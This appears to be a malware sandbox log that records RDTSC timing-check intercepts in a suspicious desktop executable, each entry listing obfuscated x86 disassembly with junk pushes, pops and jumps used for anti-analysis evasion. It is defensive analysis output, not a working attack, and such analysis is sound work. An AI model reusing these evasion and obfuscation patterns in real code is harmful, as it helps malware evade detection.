Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A406A1 second address: 4A406BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007FF01CF9131Dh 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A406BC second address: 4A406C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A406C2 second address: 4A40721 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01CF91322h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushad 0x0000000d push esi 0x0000000e pop edx 0x0000000f mov di, ax 0x00000012 popad 0x00000013 pushfd 0x00000014 jmp 00007FF01CF91324h 0x00000019 xor cx, 50E8h 0x0000001e jmp 00007FF01CF9131Bh 0x00000023 popfd 0x00000024 popad 0x00000025 xchg eax, ecx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FF01CF91325h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A40721 second address: 4A40745 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01C80C281h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF01C80C27Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A40745 second address: 4A4077B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, F4h 0x00000005 mov edi, eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ecx 0x0000000b jmp 00007FF01CF91324h 0x00000010 xchg eax, esi 0x00000011 jmp 00007FF01CF91320h 0x00000016 push eax 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a push ebx 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A4077B second address: 4A407EE instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF01C80C283h 0x00000008 xor cl, FFFFFFFEh 0x0000000b jmp 00007FF01C80C289h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jmp 00007FF01C80C280h 0x00000018 popad 0x00000019 xchg eax, esi 0x0000001a jmp 00007FF01C80C280h 0x0000001f lea eax, dword ptr [ebp-04h] 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FF01C80C287h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A407EE second address: 4A40806 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF01CF91324h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A40806 second address: 4A40837 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007FF01C80C27Ch 0x0000000e mov dword ptr [esp], eax 0x00000011 jmp 00007FF01C80C280h 0x00000016 push dword ptr [ebp+08h] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A40837 second address: 4A40854 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01CF91329h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A40854 second address: 4A40859 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A4095E second address: 4A4097B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01CF91329h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A4097B second address: 4A40980 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A40980 second address: 4A40986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A40986 second address: 4A30034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 leave 0x00000008 pushad 0x00000009 jmp 00007FF01C80C27Fh 0x0000000e movzx eax, di 0x00000011 popad 0x00000012 retn 0004h 0x00000015 nop 0x00000016 sub esp, 04h 0x00000019 xor ebx, ebx 0x0000001b cmp eax, 00000000h 0x0000001e je 00007FF01C80C3DAh 0x00000024 mov dword ptr [esp], 0000000Dh 0x0000002b call 00007FF021138411h 0x00000030 mov edi, edi 0x00000032 jmp 00007FF01C80C27Fh 0x00000037 xchg eax, ebp 0x00000038 pushad 0x00000039 mov cl, 34h 0x0000003b movsx edi, si 0x0000003e popad 0x0000003f push eax 0x00000040 jmp 00007FF01C80C283h 0x00000045 xchg eax, ebp 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A30034 second address: 4A30038 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A30038 second address: 4A3003E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A3003E second address: 4A30067 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01CF9131Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FF01CF91320h 0x00000010 sub esp, 2Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A30067 second address: 4A30084 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01C80C289h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A3017B second address: 4A3018C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, 6Ah 0x00000005 mov cl, dh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a sub edi, edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A3018C second address: 4A30193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A30193 second address: 4A30199 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A30199 second address: 4A3019D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A3019D second address: 4A301F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01CF9131Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b inc ebx 0x0000000c pushad 0x0000000d mov esi, 0BFF692Bh 0x00000012 pushfd 0x00000013 jmp 00007FF01CF91320h 0x00000018 xor cx, ECB8h 0x0000001d jmp 00007FF01CF9131Bh 0x00000022 popfd 0x00000023 popad 0x00000024 test al, al 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FF01CF91325h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A301F1 second address: 4A30216 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ecx, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FF01C80C48Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF01C80C281h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A30216 second address: 4A3021C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A3021C second address: 4A3024A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF01C80C289h 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c lea ecx, dword ptr [ebp-14h] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 mov esi, 03683925h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A3024A second address: 4A30250 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A30347 second address: 4A3034D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A3034D second address: 4A30353 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A30353 second address: 4A30390 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01C80C288h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007FF08E73A391h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF01C80C287h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A30390 second address: 4A30396 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A30396 second address: 4A3039A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A3039A second address: 4A303CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007FF01CF91386h 0x0000000e pushad 0x0000000f push edx 0x00000010 mov ch, 76h 0x00000012 pop ebx 0x00000013 mov edi, ecx 0x00000015 popad 0x00000016 cmp dword ptr [ebp-14h], edi 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FF01CF91326h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A303CD second address: 4A303D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A303D1 second address: 4A303D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A303D7 second address: 4A30406 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF01C80C27Ch 0x00000008 mov ebx, esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jne 00007FF08E73A326h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FF01C80C283h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A30406 second address: 4A3040C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A3040C second address: 4A30410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A30410 second address: 4A304A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c movsx edi, si 0x0000000f pushfd 0x00000010 jmp 00007FF01CF91326h 0x00000015 and cx, 99E8h 0x0000001a jmp 00007FF01CF9131Bh 0x0000001f popfd 0x00000020 popad 0x00000021 lea eax, dword ptr [ebp-2Ch] 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007FF01CF91324h 0x0000002b sbb ch, 00000048h 0x0000002e jmp 00007FF01CF9131Bh 0x00000033 popfd 0x00000034 pushfd 0x00000035 jmp 00007FF01CF91328h 0x0000003a sub si, 6EA8h 0x0000003f jmp 00007FF01CF9131Bh 0x00000044 popfd 0x00000045 popad 0x00000046 xchg eax, esi 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A304A2 second address: 4A304A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A304A6 second address: 4A304C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01CF91327h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A304C1 second address: 4A304C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A304C7 second address: 4A304CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A304CB second address: 4A304EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007FF01C80C283h 0x00000011 movzx ecx, di 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A304EE second address: 4A3053E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF01CF91320h 0x00000008 pushfd 0x00000009 jmp 00007FF01CF91322h 0x0000000e xor cl, FFFFFFF8h 0x00000011 jmp 00007FF01CF9131Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, esi 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FF01CF91325h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A3053E second address: 4A3054E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF01C80C27Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A3054E second address: 4A3055D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A3055D second address: 4A30561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A30561 second address: 4A3057A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01CF91325h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A3057A second address: 4A305B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007FF01C80C27Dh 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 pushad 0x00000012 mov bl, 9Ah 0x00000014 jmp 00007FF01C80C286h 0x00000019 popad 0x0000001a xchg eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov bl, F0h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A305B5 second address: 4A305BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A305BA second address: 4A305C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A305C0 second address: 4A30607 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01CF91327h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FF01CF91329h 0x00000011 xchg eax, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF01CF9131Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A3063C second address: 4A3064B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01C80C27Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A3064B second address: 4A30651 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A20E61 second address: 4A20E89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 xchg eax, ecx 0x00000007 pushad 0x00000008 mov ecx, 24091B59h 0x0000000d mov si, 1415h 0x00000011 popad 0x00000012 push eax 0x00000013 jmp 00007FF01C80C27Bh 0x00000018 xchg eax, ecx 0x00000019 pushad 0x0000001a mov edx, ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e mov si, 673Dh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A20E89 second address: 4A20EA0 instructions: 0x00000000 rdtsc 0x00000002 movzx esi, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov dword ptr [ebp-04h], 55534552h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov dx, DB30h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A20EA0 second address: 4A20EA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A20EA6 second address: 4A20EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A309C6 second address: 4A309CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A309CC second address: 4A309FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01CF91327h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov bh, 7Ah 0x00000011 jmp 00007FF01CF9131Ch 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A30B20 second address: 4A30B25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A30B25 second address: 4A30B2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A30B2B second address: 4A30B2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A30B2F second address: 4A30B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF01CF91320h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A30B4D second address: 4A30B9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01C80C27Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov dh, ch 0x00000010 pushfd 0x00000011 jmp 00007FF01C80C287h 0x00000016 adc cx, 0DCEh 0x0000001b jmp 00007FF01C80C289h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A30B9B second address: 4A30C12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 22E2h 0x00000007 mov ecx, ebx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 pushad 0x00000011 mov esi, 334D04E1h 0x00000016 pushfd 0x00000017 jmp 00007FF01CF9131Eh 0x0000001c adc esi, 5E89A978h 0x00000022 jmp 00007FF01CF9131Bh 0x00000027 popfd 0x00000028 popad 0x00000029 pop eax 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d push ebx 0x0000002e pop ecx 0x0000002f pushfd 0x00000030 jmp 00007FF01CF91327h 0x00000035 and eax, 721715EEh 0x0000003b jmp 00007FF01CF91329h 0x00000040 popfd 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A30C73 second address: 4A30CB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01C80C27Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b jmp 00007FF01C80C280h 0x00000010 je 00007FF08E71FF66h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FF01C80C287h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A409AD second address: 4A409B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A409B3 second address: 4A409C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF01C80C282h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A409C9 second address: 4A409CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A409CD second address: 4A409DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c movzx ecx, dx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A409DC second address: 4A40A21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01CF91325h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FF01CF91320h 0x0000000e popad 0x0000000f mov dword ptr [esp], ebp 0x00000012 jmp 00007FF01CF91320h 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A40A21 second address: 4A40A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A40A25 second address: 4A40A2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A40A2B second address: 4A40A90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF01C80C282h 0x00000008 mov edi, eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, esi 0x0000000e pushad 0x0000000f mov eax, 48023879h 0x00000014 mov ax, E335h 0x00000018 popad 0x00000019 push eax 0x0000001a jmp 00007FF01C80C27Bh 0x0000001f xchg eax, esi 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007FF01C80C27Bh 0x00000029 sub ecx, 0F9C4F1Eh 0x0000002f jmp 00007FF01C80C289h 0x00000034 popfd 0x00000035 pushad 0x00000036 popad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A40A90 second address: 4A40A96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A40A96 second address: 4A40A9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
